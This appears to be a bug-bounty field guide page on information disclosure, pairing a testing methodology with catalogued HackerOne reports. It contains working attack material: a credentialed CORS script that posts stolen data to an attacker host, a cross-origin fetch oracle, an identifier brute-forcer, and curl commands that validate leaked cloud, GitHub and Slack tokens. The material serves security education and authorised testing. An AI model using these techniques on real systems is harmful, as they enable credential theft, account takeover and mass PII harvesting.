⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Information Disclosure
Vulnerabilities

Information Disclosure

§Basic information

Information disclosure is the application handing you data it shouldn't: secrets (API keys, tokens, signing keys), other users' PII, internal object fields, or system internals (stack traces, headers, source, hostnames). The mechanism is almost always an authorization or serialization gap — the control that hides the data on one path is absent on another (a different render format, a git history entry, a build log, an error page).

Two flavours matter. Some leaks are directly sensitive — a leaked secret_key_base, a live cloud token, or an OTP in a response body is immediate account-takeover or RCE. Others are recon that unlocks the next bug — a leaked internal hostname is an SSRF target, a leaked object UUID is an IDOR, a leaked admin email feeds a password reset. Treat every leak as the first link in a chain, not the finding itself: quantify whose data, how many (is the id enumerable?), and the most sensitive field.

The single most transferable pattern: alternate serializers over-expose fields. The HTML view filters attributes; the .json/.xml/.js/GraphQL render of the same object dumps the whole model.

§Methodology

  1. Enumerate every representation of an object. For each resource the UI shows, request it as .json, .xml, .js, ?format=json, ?_format=, and via the GraphQL/REST API. Diff the returned fields against what the HTML page showed.
  2. Ask for fields the UI never renders. In GraphQL, request email phone role token internalNotes even if nothing displays them — introspection or guessing often works.
  3. Hunt secrets in code you can reach — public repos (org and employees' personal repos), git history (deleted ≠ gone), CI/CD build logs, JS bundles + source maps, mobile APK / Electron app.asar.
  4. Force the app off the happy path — malformed input, odd encodings, wrong Content-Type, missing params — and read whatever stack trace, config, or path leaks in the error.
  5. Probe known file/endpoint exposures.git/, .env, .DS_Store, *.bak, /server-status, /actuator/env, phpinfo, swagger.json, /WEB-INF/.
  6. Intercept responses, not just requests. Any flow gated by an out-of-band secret (OTP, email verify token, reset token, TOTP seed) — grep the response body/headers/redirect for that secret.
  7. Validate and quantify. Prove a leaked credential works against its API; prove PII leak with one redacted sample row plus the enumeration method.
# Alternate-render diff — the core probe GET /users/123 HTTP/1.1 # HTML -> name only GET /users/123.json HTTP/1.1 # diff: email? phone? role? token? internal ids?

§Disclosure surfaces

Find which surface leaks, then apply the matching probe.

Alternate render formats / over-serialization

The authz/field-filtering is enforced on the HTML view only. The same object serialized as JSON/XML/JS or fetched via GraphQL dumps private attributes — emails, phone numbers, roles, OTP backup codes, signing tokens.

GET /wp-json/wp/v2/users/1 HTTP/1.1 Host: TARGET # unauth REST/API route dumps a privileged author's email the HTML never shows (#2450685)
POST /graphql HTTP/1.1 Content-Type: application/json {"query":"{ user(id:123){ email phone role backupCodes internalNotes } }"}

Secrets in source control, CI logs & client bundles

Long-lived credentials committed to public repos, printed into CI build logs, or shipped inside client artifacts. Deleted-from-HEAD secrets survive in history; unmasked tokens survive in logs; desktop/mobile apps are shipped secret stores.

# repos + full history (secret removed from HEAD still in history) git clone REPO && git log -p | grep -Ei 'api[_-]?key|secret|token|password|AKIA|BEGIN.*PRIVATE KEY|jdbc:' trufflehog github --org TARGET # or gitleaks detect # search the human, not just the org — engineers leak corp keys in personal repos # GitHub code search: org:TARGET "api_key" / "<employee>" FIREBASE_TOKEN # desktop app = secret store asar extract app.asar app-src # Electron -> build/**/production.env.json, client_secret.json # Android: jadx -d out app.apk && grep -rEi 'cloudinary://|AKIA|google_api_key|firebase' out # validate before reporting — turns 'info' into 'critical' curl -H 'x-api-key: <LEAKED>' https://api.provider.com/whoami

Verbose errors & debug endpoints

Stack traces and debug pages leak secret_key_base, DB DSNs, paths, and sometimes your own request headers back to you. Fuzz params with malformed encodings to force the exception path.

# odd encoding knocks the app into a verbose framework error page GET /path?param=%C0%AE%C0%AE%2F%FE%FF HTTP/1.1 # -> Rails/Django/etc. stack trace exposes secret_key_base / DB creds (#460545) # probe debug/status endpoints that echo config or request data: # /actuator/env /server-status (#1398270) /phpinfo.php (#761790) /?debug=1

Secrets echoed in-band

Any flow that dispatches a secret out-of-band (SMS OTP, emailed verify/reset token, TOTP seed) but also returns it in the HTTP response defeats the entire possession check. Always inspect the response.

POST /api/send-otp HTTP/1.1 {"phone":"<VICTIM_PHONE>"} HTTP/1.1 200 OK {"otp":"482913", ...} # code returned in-band (#2635315, #2633888) # -> submit it, verify as victim

File, path & directory exposure

Access control applied to the app root but not subpaths; exposed VCS/config/backup files; directory listings that yield decompilable source.

GET / HTTP/1.1 -> 403 # do NOT stop here GET /WEB-INF/ HTTP/1.1 -> directory listing (.class/.jar -> decompile) (#301812) GET /.git/config HTTP/1.1 # then git-dumper -> full source + embedded secrets GET /.env HTTP/1.1 # live cloud/db/mail creds

Side channels & XS-Leaks

When you can't read the data directly, build an oracle: a state-dependent response size, timing difference, or onload/onerror signal that answers a yes/no about the victim — enough to deanonymize or confirm a private object. Proxy/anonymity breaks when an out-of-proxy DNS/handler leaks the real IP.

<!-- yes/no oracle on a cross-origin private object --> <script src="https://TARGET/private/obj" onload="fetch('https://COLLAB/?yes')" onerror="fetch('https://COLLAB/?no')"></script>
# external protocol handler bypasses the proxy, leaks real IP (#253429) sftp://COLLAB:80/index.php

§Bypasses

Filter / controlBypassSeen in
Authz enforced on HTML view onlyrequest .json / .xml / .js / GraphQL render of the same object#421009
Sensitive field never rendered in UIpull it from an API / export / serialized response#158330
Secret deleted from current filespull it from git history / CI logs / cached builds#716292
Secret masked in web appunpack the shipped binary — Electron app.asar, Android APK#397527, #351555
Out-of-band token check (OTP/verify)read the secret echoed in the response body#2635315, #2387297
Access control on root pathbrute sensitive subpaths (/WEB-INF/, /META-INF/)#301812
Generic 4xx returnedodd encoding forces a stack trace leaking secret_key_base#460545
Same-vs-different identifier responsediff exact response text as an enumeration oracle#2748003
Proxy / anonymity layerexternal URI handler (sftp://) connects outside the proxy#253429
Unauthed REST + credentialed CORSwp-json/.../users + ACAC:true cross-origin exfil#2450685
▲ WARNING
"Data is exposed" is not impact on its own. A missing security header, a version banner, or a self-only leak closes as informative. Report the leak with its consequence — the credential validated against its API, the enumerable id turned into mass PII, the leaked host fed to an SSRF sink.

§Escalation & impact

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 568 in this class.

Real-world example

Secrets hardcoded in public source control (GitHub/Git/CI logs)

◆ Critical
Specimen #716292 · starbucks · awarded · 738 votes · resolved
Program starbucksSurface cloudChain leaked key -> internal API -> AWS account takeoverTag cloud-awsTag supply-chain

Root cause

Long-lived credentials (API keys, tokens, client certs) committed to public repos or emitted into CI build logs. A single valid key pivots straight into internal systems/cloud.

Method

  1. Target org + employees: GitHub code/commit search, gists, personal repos, forks, and CI logs (Travis/GH Actions)
  2. Grep for provider key patterns (x-api-key, AKIA, 'token ', BEGIN PRIVATE KEY, *.pem)
  3. Validate the credential against its API before reporting to prove impact/scope
  4. Escalate: list systems/users, run commands, pivot to cloud (JumpCloud->AWS)
curl -H 'x-api-key: <LEAKED>' https://console.jumpcloud.com/api/systems # git secrets recon github code search: org OR employee-name "api_key" OR "token" OR "BEGIN RSA PRIVATE KEY"

Insight — Search the human, not just the org: engineers leak company keys in personal learning repos (e.g. a leetcode repo), CI logs, and committed certs. Always validate the key to establish real access and escalate severity from 'info' to 'critical'.

Real-world example

Alternate .json render over-serializes private object attributes

◆ Critical
Specimen #3000510 · security · awarded · 623 votes · resolved
Program securitySurface api

Root cause

The /reports/:id.json representation serialized reporter object attributes (email, OTP backup codes, phone, graphql_secret_token) that the HTML view hid, triggered when a reporter summary was present.

Method

  1. Take any disclosed/HTML resource URL and append .json (or .xml/.js)
  2. Diff the JSON against the rendered page for extra fields
  3. Look for secrets: tokens, email, MFA backup codes, internal IDs
GET /reports/<ID>.json HTTP/2 Host: target

Insight — The .json/.xml/API representation of a page frequently exposes a wider, unfiltered attribute set than the UI. Always fetch the machine-readable variant and diff.

Real-world example

GitHub PAT leaked in shipped Electron app (.env inside app.asar)

◆ Critical
Specimen #1087489 · shopify · 50000 · 1548 votes · resolved
Program shopifySurface desktopTag supply-chain

Root cause

A distributed Electron/macOS app bundled a leftover build .env containing a GitHub Personal Access Token with push/pull to all private org repos; unpacking the app.asar recovered it.

Method

  1. Obtain the app bundle, locate the app.asar
  2. npx asar extract app.asar out/
  3. Search extracted tree for .env / tokens / secrets
  4. Validate token scope against GitHub API
npx asar extract path/to/app.asar extracted/ curl -H "Authorization: token $GH_TOKEN" https://api.github.com/user curl -H "Authorization: token $GH_TOKEN" https://api.github.com/user/orgs curl -H "Authorization: token $GH_TOKEN" https://api.github.com/orgs/ORG/repos

Insight — Desktop/Electron apps are distributable filesystems: unpack app.asar and grep for secrets/.env; build-time env files are frequently left in the shipped bundle. Confirm token scope via /user, /user/orgs, /orgs/*/repos.

Real-world example

Cross-object reference in Quick Action serializes full model -> secret

◆ Critical
Specimen #509924 · gitlab · 12000 · 365 votes · resolved
Program gitlabSurface api

Root cause

The Quick Actions interpreter's `/move` command let a user reference a project they couldn't access; the target Project model was serialized wholesale into the JSON response, including runners_token.

Method

  1. In an issue/comment use a command that references an arbitrary object by path/ID (e.g. /move <other project>)
  2. Submit and inspect the JSON response for the serialized target model
  3. Extract secret attributes (runners_token, tokens, internal fields)
/move <full/path/of/any/other/project> # response -> target_project { ... "runners_token":"..." ... }

Insight — Commands/features that accept an object reference frequently serialize the whole model into the response with no field allowlist. Point them at objects you don't own and read the raw JSON.

Real-world example

Secrets in public GitHub -> Electron app.asar -> live third-party tokens

◆ Critical
Specimen #397527 · grab · awarded · 143 votes · resolved
Program grabSurface webChain public repo/binary -> asar extract -> Slack xoxp tokenTag supply-chainTag account-takeover

Root cause

Employee-published repos/desktop apps bundle real credentials; an Electron app's app.asar can be unpacked to recover env files containing live Slack (xoxp), Google OAuth client_secret, and access/refresh tokens that grant full third-party access.

Method

  1. OSINT employee GitHub profiles for repos/releases
  2. Download the desktop build; on Electron go to Contents/Resources
  3. asar extract app.asar out/ to recover source, constants, env json
  4. Pull client_secret.json / production.env.json (Slack xoxp, Google OAuth, tokens)
  5. Validate token against the vendor API (e.g. Slack conversations.list)
npm install -g asar asar extract app.asar app-src # then: build/environement/production.env.json, build/constants/google/client_secret.json curl -H 'Authorization: Bearer xoxp-...' https://slack.com/api/conversations.list

Insight — Desktop apps (Electron/asar, APKs, exe resources) are shipped secret stores - unpack them, not just scrape the web app. A leaked Slack xoxp user token bypasses the account password and 2FA entirely.

Real-world example

OTP code returned in the API response body

◆ Critical
Specimen #2635315 · mtn_group · awarded · 132 votes · resolved
Program mtn_groupSurface apiChain OTP leak -> auth as victimTag account-takeover

Root cause

The phone-auth endpoint returns the generated OTP code inside its HTTP response, so an attacker who can trigger OTP for a victim's number reads the code directly and bypasses the possession check.

Method

  1. Trigger the OTP send for a target phone number
  2. Inspect the API response body/JSON for the OTP value
  3. Submit the leaked code to authenticate as the victim
# POST send-otp for <VICTIM_PHONE> # response contains the OTP, e.g. {"otp":"NNNNNN", ...}

Insight — Always diff OTP/verification-send responses for the secret itself (and in headers, redirect URLs, or push payloads). Programs frequently leak the code in the very response meant only to dispatch it. A trivially high-impact recurring bug.

Real-world example

Cloud provider auth token exposed in public CI build logs

◆ Critical
Specimen #2915647 · mozilla · awarded · 123 votes · resolved
Program mozillaSurface cloudChain CI log token -> Netlify Owner access -> site content/dTag supply-chainTag cloud-aws

Root cause

A CI/CD pipeline prints a Netlify auth token into a publicly-accessible build log (live.log); the unmasked token grants full (Owner/Publisher) control of the org's Netlify account and deployments.

Method

  1. Find public CI logs (Taskcluster/GitHub Actions/Jenkins) for the target
  2. Search logs for auth:, token, bearer, api_key, secret
  3. Extract the token and validate it against the provider API
# in live.log search 'auth:' then: curl -s https://api.netlify.com/api/v1/accounts -H "Authorization: Bearer TOKEN" | jq

Insight — Public CI/build logs are a high-yield secret source - grep them for auth:/Bearer/token. Deploy-platform tokens (Netlify/Vercel/Cloudflare) usually mean full site takeover and supply-chain compromise.

Real-world example

Unauthenticated attachment mirror with directory listing + guessable keys

◆ Critical
Specimen #979787 · gitlab · awarded · 102 votes · resolved
Program gitlabSurface webTag file-upload

Root cause

An internal automation mirrored HackerOne report attachments to a helper domain (h1.sec.gitlab.net/a/) that had directory listing enabled and served objects by content key with no auth check, exposing PoCs for unpatched vulns even when the source report returned access-denied.

Method

  1. From a public report, follow links a vendor member posted to internal trackers (gitlab.com issues labeled HackerOne)
  2. Notice attachments are served from a helper mirror domain
  3. Open the mirror root (https://h1.sec.gitlab.net/a/) - directory listing reveals all content keys
  4. Fetch any object directly: https://<mirror>/a/<content_key>.<ext> - no auth, works even for attachments of access-denied reports
GET https://h1.sec.gitlab.net/a/ # directory listing of all keys GET https://h1.sec.gitlab.net/a/<content_key>.jpg # any private attachment

Insight — When an app imports/mirrors sensitive files into a secondary bucket or helper domain for automation, that mirror often lacks the source system's access control. Enumerate helper/CDN domains and test for directory listing and key-guessable object retrieval.

Real-world example

Password-reset error message as an identity oracle + no rate limit

◆ Critical
Specimen #2748003 · deptofdefense · none · 98 votes · resolved
Program deptofdefenseSurface webChain differential reset error -> SSAN enumeration -> maidenTag account-takeover

Root cause

The password-reset form returned different responses depending on whether a submitted SSAN mapped to an account (and whether that account had a PKI credential); with no rate limiting this differential response is an oracle to enumerate valid identifiers (here ~772M SSANs) and then brute-force the secondary secret (mother's maiden name).

Method

  1. Locate the reset flow and submit a known-bad identifier; record the 'does not match' response signature
  2. Submit a valid identifier; observe a different message (e.g. 'account found, use CAC')
  3. Automate: iterate identifiers, flag any response that is NOT the 'does not match' baseline
  4. For hits without strong secondary auth, brute-force the second factor (common surnames as maiden name)
# ASP.NET postback brute-forcer (carry hidden __VIEWSTATE/__EVENTVALIDATION forward) data['ctl00$cphPage$txtSSAN'] = str(ssan).zfill(9) data['ctl00$phPage$txtMMN'] = 'NONEXISTANT' data['ctl00$cphPage$btnSubmit'] = 'Submit' r = s.post(url+'/PKI/PassReset.aspx', data=data, verify=False, allow_redirects=False) if 'SSAN Does not match a ssan in our records.' not in r.text: print('[+] valid identifier', ssan)

Insight — Any auth/reset/verify flow that responds differently for existing vs non-existing identifiers is an enumeration oracle - diff the exact response text, not just status. Rate-limit-only is a nag; rate-limit + a differential oracle over a guessable ID space = real PII enumeration / ATO.

Real-world example

WordPress REST user enumeration (author email) + CORS credentialed exfil

◆ Critical
Specimen #2450685 · mtn_group · none · 82 votes · resolved
Program mtn_groupSurface webChain REST user enum (admin email) + CORS ACAC:true -> cross-orTag cors

Root cause

The WordPress REST route /wp-json/wp/v2/users/<id> exposed admin author data (including email) without auth, and a CORS policy returning Access-Control-Allow-Credentials: true let a cross-origin page read the credentialed response; the leaked admin email then feeds password reset / brute force.

Method

  1. Request /wp-json/wp/v2/users/<id> (iterate id) and read exposed username/email of privileged authors.
  2. If CORS returns Access-Control-Allow-Credentials: true with a reflected/permissive origin, host a page that XHRs the endpoint withCredentials and posts the response to your server.
  3. Use the harvested admin email at wp-login for forgot-password / password brute force.
var x=new XMLHttpRequest(); x.onreadystatechange=function(){ if(x.readyState==4&&x.status==200){ var d=x.responseText; var e=new XMLHttpRequest(); e.open('POST','https://attacker/collect',true); e.withCredentials=true; e.send('data='+d); }}; x.open('GET','https://TARGET/wp-json/wp/v2/users/15',true); x.withCredentials=true; x.send();

Insight — Always probe /wp-json/wp/v2/users on WordPress targets for author PII, and test CORS by sending Origin headers - Access-Control-Allow-Credentials: true with a reflected/null/permissive origin turns an info leak into cross-origin credentialed theft.

Real-world example

OTP returned in API response body -> verification/ATO bypass

◆ Critical
Specimen #2633888 · mtn_group · none · 80 votes · resolved
Program mtn_groupSurface webChain OTP disclosure -> phone verification bypass -> accountTag account-takeover

Root cause

When requesting a quote, the server sends an OTP to the user's phone AND echoes the same OTP in the JSON API response, so anyone who submits a phone number can read the code and pass verification for that number.

Method

  1. Start the flow that triggers an OTP (get-a-quote) with a proxy running
  2. Enter a target/any valid phone number
  3. Read the OTP directly from the API response body
  4. Submit that OTP to complete verification / take over the account
POST /.../send-otp {"phone":"<number>"}\n=> 200 {"otp":"482913", ...} // code returned in response

Insight — Always inspect OTP/2FA/verification responses in the proxy. Codes leaked in the response body (or in headers, or as a predictable value) let an attacker verify arbitrary phone/email and hijack accounts. Trivial to spot, high impact.

Real-world example

External protocol handler bypasses proxy, leaks real IP

◆ Critical
Specimen #253429 · torproject · 3000 · 71 votes · resolved
Program torprojectSurface desktopChain proxy bypass -> real-IP disclosure + local resource acces

Root cause

Navigating a Tor Browser tab to an sftp:// URI hands the request to the OS's default SSH/SFTP client, which connects directly (outside the SOCKS proxy and DNS), leaking the user's real IP and enabling access to local resources.

Method

  1. Host a listener and get the victim to open sftp://<your-ip>:80/index.php in Tor Browser (Linux)
  2. The OS ssh client connects directly on the victim's behalf, bypassing the SOCKS proxy
  3. Read the victim's real IP from your server logs (SSH banner in the request)
# lure: sftp://<attacker-ip>:80/index.php # attacker apache log shows: # AH00126: Invalid URI in request SSH-2.0-OpenSSH_7.2p2 (direct, non-Tor connection)

Insight — Proxy/anonymity is only as strong as the app's URI-scheme handling. Any external protocol handler (sftp://, smb://, ftp://, mailto:, custom schemes) that the browser delegates to an OS client can bypass the proxy and deanonymize. Audit which schemes trigger external apps.

Real-world example

AWS keys + DB creds baked into a public Docker Hub image layer

◆ Critical
Specimen #2401648 · mozilla · awarded · 70 votes · resolved
Program mozillaSurface cloudChain leaked keys -> AWS resource accessTag cloud-awsTag supply-chain

Root cause

Secrets committed into an image build (a config.json under test scripts) persist in the pushed Docker Hub layers; anyone can pull the public image and extract live AWS access/secret keys and database credentials.

Method

  1. Find the org's public images on hub.docker.com (e.g. mozilla/commonvoice)
  2. docker pull the image, then inspect layers / filesystem
  3. Read hardcoded creds at /code/scripts/test/config.json
  4. Validate keys with aws sts get-caller-identity / enumerate resources
docker pull mozilla/commonvoice docker save mozilla/commonvoice | tar -x # or: docker run --rm -it mozilla/commonvoice sh cat /code/scripts/test/config.json # AWS keys + DB user/pass

Insight — Public container registries are a secrets goldmine. Enumerate an org's Docker Hub / GHCR images, pull them, and grep every layer for config.json/.env/aws credentials - test/dev scripts are the usual leak site. Related supply-chain: #1720278, #1580567.

Real-world example

Atlassian/Jira admin API token hardcoded in a script shared in Slack

◆ Critical
Specimen #2467999 · mozilla · 1000 · 64 votes · resolved
Program mozillaSurface webChain leaked admin token -> full Jira tenant access

Root cause

A staff member posted a Python script containing a hardcoded Jira admin API token to a public Slack channel; the token authenticates as a Jira administrator.

Method

  1. Search accessible chat/file shares (Slack, Teams, public repos, gists) for token patterns
  2. Find ATATT3x... (Atlassian API token) alongside a user email in a script
  3. Verify privileges: curl -u "email:TOKEN" .../rest/api/3/user/groups?accountId=..
  4. Confirm groups include jira-administrators / site-admins
curl -u "USER@EXAMPLE:ATATT3xFfGF0V...TOKEN" -H "Content-Type: application/json" https://ORG.atlassian.net/rest/api/3/user/groups?accountId=ACCID

Insight — Chat channels and shared scripts are a top secrets source. Grep for provider token prefixes - Atlassian ATATT3x, AWS AKIA, GitHub ghp_/gho_, Slack xox. Validate an Atlassian token's power with /rest/api/3/user/groups before reporting.

Real-world example

GitLab project export leaks members' authentication_token -> admin/RCE

◆ Critical
Specimen #158330 · gitlab · none · 61 votes · resolved
Program gitlabSurface webChain invite admin as member -> export -> read admin authent

Root cause

The project export feature serializes full user objects for team members into project.json, including each member's authentication_token. Adding an admin as a member and exporting yields the admin's API token, which grants admin-panel access and (via GitLab admin features) RCE.

Method

  1. Create a project; invite a target (ideally an instance admin) as a member.
  2. Generate an export and download it.
  3. Unzip and read project.json -> project_members[].user.authentication_token.
  4. Use the token as ?authentication_token=<token> to reach /admin/users; escalate to RCE via admin features.
# after export download unzip export.tar.gz && jq '.project_members[].user.authentication_token' project.json # use it: curl "https://gitlab.TARGET/admin/users?authentication_token=<admin_token>"

Insight — Export/serialization features are a prime over-serialization sink: dumping whole ORM objects (users, members, settings) often includes secrets like tokens, password hashes, or 2FA seeds. Always inspect export/backup artifacts for embedded credentials.

Real-world example

Hardcoded credentials / API keys in client-side JavaScript

◆ Critical
Specimen #1703733 · mtn_group · none · 48 votes · resolved
Program mtn_groupSurface webTag account-takeover

Root cause

Backend service credentials and third-party API keys are embedded directly in the page's client-side JavaScript (inline scripts, JS files), fully readable via view-source, and weak hashes (MD5) are trivially cracked.

Method

  1. Open the target page and view source (Ctrl+U) or pull all linked .js files
  2. Grep for uid/passwd/password/api_key/token and SDK init calls (e.g. placeAd({uid, passwd}))
  3. Extract credentials/keys; crack any MD5/weak hashes offline
  4. Validate access against the corresponding admin/API surface
window.mobucksApi.placeAd({ containerElementId: "mtn20238", uid: "mtnng", passwd: "<HASH/plaintext in page source>", plid: 73 }); # md5:bd31568138edbfc0552a1ecc6886ea -> crack offline

Insight — Always read the raw HTML and every bundled JS file: SDK initializers and config blobs frequently hardcode uid/passwd or vendor API keys (Datadog, etc.). Client-side is not a secret store; crack any exposed MD5.

Real-world example

Exposed phpinfo() file leaks live DB connection string

◆ Critical
Specimen #761790 · deptofdefense · none · 42 votes · resolved
Program deptofdefenseSurface webChain phpinfo disclosure -> MSSQL connection string -> poten

Root cause

A publicly reachable PHP info page dumps environment/config including a full MSSQL connection string (host, user, password), giving direct database credentials plus host/path recon.

Method

  1. Probe common info/debug filenames: /phpinfo.php, /test.php, /info.php, /i.php.
  2. In the rendered page search for 'password', 'Data Source', 'User Id', 'Initial Catalog'.
  3. Confirm the disclosed DB is reachable (e.g. nc to the ms-sql-s port) without connecting further.
GET /INFO_FILE.php HTTP/1.1 Host: TARGET # grep response for: Data Source=tcp:HOST;Initial Catalog=DB;User Id=USER;Password=PASS

Insight — phpinfo/test pages are not just banner leaks -- they routinely embed env vars and connection strings. Always keyword-search the full dump for password/Data Source/AWS/secret; the payoff can be live credentials, not just version info.

Real-world example

Soft-delete re-registration triggers duplicate-key 500 leaking DB schema (debug on)

◆ Critical
Specimen #1082891 · kartpay · none · 39 votes · resolved
Program kartpaySurface webChain soft-delete/re-register duplicate-key -> verbose debug 50

Root cause

Admin deletion only soft-deletes a merchant record; re-registering the same email hits a unique constraint the code never checks, throwing a 500, and because debug is enabled in production the error page dumps SQL table/column details.

Method

  1. Get a record soft-deleted (e.g. admin removes a merchant/email).
  2. Re-register with the same email/identifier to hit the duplicate-key constraint.
  3. Read the resulting 500 debug page for SQL table names, columns, and internal data.
Register email=X -> admin soft-deletes X -> Register email=X again # duplicate-key 500 with debug=on -> SQL table/schema disclosure

Insight — Soft-delete plus re-creation is a reliable way to force uniqueness-constraint errors; on any app with debug/verbose errors in prod, that 500 leaks schema. Generally: hunt state that collides with DB constraints (re-registration, duplicate slugs) to surface stack traces.

Real-world example

WordPress REST API user enumeration (/wp-json/wp/v2/users/)

◆ Critical
Specimen #1735586 · mtn_group · none · 33 votes · resolved
Program mtn_groupSurface web

Root cause

WordPress exposes the REST users collection at /wp-json/wp/v2/users/ (and /users/<id>), returning display names and slugs (login hints) for all authors/admins to unauthenticated callers.

Method

  1. Request /wp-json/wp/v2/users/ on a WordPress site
  2. Collect names/slugs (incl. admin)
  3. Feed usernames into targeted brute force / spear-phishing
GET /wp-json/wp/v2/users/ HTTP/1.1 GET /wp-json/wp/v2/users/1 HTTP/1.1

Insight — On any WordPress target hit /wp-json/wp/v2/users/, ?rest_route=/wp/v2/users, and /?author=1 redirects to harvest usernames; the fix is to unset the users REST endpoints.

Real-world example

Recon chain: exposed .git -> credentials in request logs -> SSRF -> CSS injection

◆ Critical
Specimen #889886 · h1-ctf · none · 30 votes · resolved
Program h1-ctfSurface webChain .git exposure -> repo path -> log creds -> 2FA bypaTag account-takeover

Root cause

An exposed .git/config pointed to a public repo commit that revealed a debug log path (bp_web_trace.log); the base64-encoded request logs contained plaintext login credentials and 2FA answers, seeding a multi-stage account-takeover chain (SSRF via cookie, secret-in-APK, privesc, CSS-injection exfil).

Method

  1. certspotter/CT + dirsearch to enumerate subdomains and find an exposed /.git/
  2. Read /.git/config -> public repo commit -> discover a request-logger log path
  3. Decode base64 log lines to recover username/password/challenge answers; continue chain (SSRF in cookie -> internal APK, leaked APK secret, privesc to admin, CSS-injection to exfil the payment 2FA)
# /.git/config -> repo -> bp_web_trace.log (base64 request logs) {"METHOD":"POST","PARAMS":{"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}

Insight — Exposed .git is a force multiplier: config -> source repo -> hardcoded paths/secrets. Verbose request/response loggers that persist bodies (even base64-'encoded') are credential goldmines. Chain recon leaks into auth bypass rather than reporting them in isolation.

Real-world example

Recover full phone number via partial hint + rate-limit oracle

◆ Critical
Specimen #1225164 · X / xAI · USD 560 · 30 votes · resolved
Program X / xAISurface webChain Masked last-2-digits leak -> forced lockout on victim -&g

Root cause

An SMS-code flow revealed the last two digits of a user's phone number, and the forgot-password/SMS endpoints returned distinct responses (including a persistent 'exceeded attempts' rate-limit message tied to the real number) that act as an oracle to brute-force the remaining digits.

Method

  1. From the victim username, trigger the SMS flow that shows 'code to the phone ending in XX' (leaks last 2 digits)
  2. Repeatedly request codes to that account until it returns the 'You've exceeded the number of attempts' lockout message
  3. Use forgot-password to request SMS across all candidate numbers ending in XX (narrowed by country/operator prefix)
  4. The candidate that returns the same 'exceeded attempts' lockout is the victim's real number
# Oracle responses when probing candidate numbers &&&&&&15: # 'Number not associated' -> wrong # "You'll receive a code..." -> valid but not victim # "You've exceeded the number of attempts" -> victim's number (already rate-limited)

Insight — Chain a partial-PII disclosure (masked digits) with a response-difference oracle across auth/recovery endpoints to reconstruct the whole secret. Rate-limit/lockout state is itself an oracle: a number that is already throttled uniquely identifies the target account.

Real-world example

ASP.NET Trace.axd exposes captured request logs

◆ Critical
Specimen #519418 · deptofdefense · none · 29 votes · resolved
Program deptofdefenseSurface web

Root cause

ASP.NET application-level tracing (trace enabled with localOnly=false) exposes Trace.axd, which stores full details of recent requests (headers, cookies, POST bodies) readable by any user.

Method

  1. Authenticate as any low-priv user (or none, if trace is public)
  2. Request /Trace.axd (also try app subpaths like /app/Trace.axd)
  3. Open 'View Details' on captured requests and grep for SSNs, passwords, session/CSRF tokens
GET /Trace.axd HTTP/1.1 Host: TARGET # then browse captured requests; search response for app_ssn, password, __RequestVerificationToken

Insight — On any IIS/ASP.NET target, probe Trace.axd (and elmah.axd) at the app root and sub-application roots. It captures other users' live requests, turning a debug leftover into cross-user credential/PII disclosure.

Real-world example

WordPress REST API user enumeration (/wp-json/wp/v2/users)

◆ Critical
Specimen #1784999 · mtn_group · none · 29 votes · resolved
Program mtn_groupSurface web

Root cause

The default WordPress REST API exposes /wp-json/wp/v2/users, listing author accounts with slug/name, enabling username harvesting for brute force and phishing.

Method

  1. Request /wp-json/wp/v2/users/ on a WordPress site
  2. Collect names and login slugs of authors/admin
  3. Also try /?rest_route=/wp/v2/users and /wp-json/wp/v2/users/1
GET /wp-json/wp/v2/users/ HTTP/1.1 Host: TARGET # fix: unset $endpoints['/wp/v2/users'] via rest_endpoints filter

Insight — On any WordPress target, hit /wp-json/wp/v2/users first for free username enumeration; combine with /wp-json/ index to map exposed plugins and routes.

Real-world example

Hardcoded creds in APK + subdomain brute to find where they work

◆ Critical
Specimen #246995 · eternal · USD 500 · 28 votes · resolved
Program eternalSurface mobile-androidChain APK static analysis -> basic-auth creds -> subdomain bTag subdomain-takeover

Root cause

Basic-auth credentials for a dev environment were hardcoded in the Android app; the credential's primary domain returned 503, but subdomain brute-forcing revealed a live subdomain hosting a clone of the main admin panel that accepted them.

Method

  1. Decompile the APK and grep strings/resources for Authorization headers, basic-auth blobs, API keys
  2. If the associated host is down, enumerate subdomains of that domain
  3. Try the recovered credentials against each live subdomain to find where they authenticate
# in decompiled app: Authorization: Basic base64(user:pass) # host returns 503 -> subdomain brute -> admin-clone subdomain accepts the creds

Insight — Hardcoded credentials are only half the find: when their obvious host is dead/parked, brute-force sibling subdomains - dev/staging clones of admin panels often accept the same creds. Pair APK secret extraction with subdomain enumeration.

§References & practice

  1. PortSwigger Web Security Academy — Information disclosure labs (hands-on practice).
  2. All 568 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.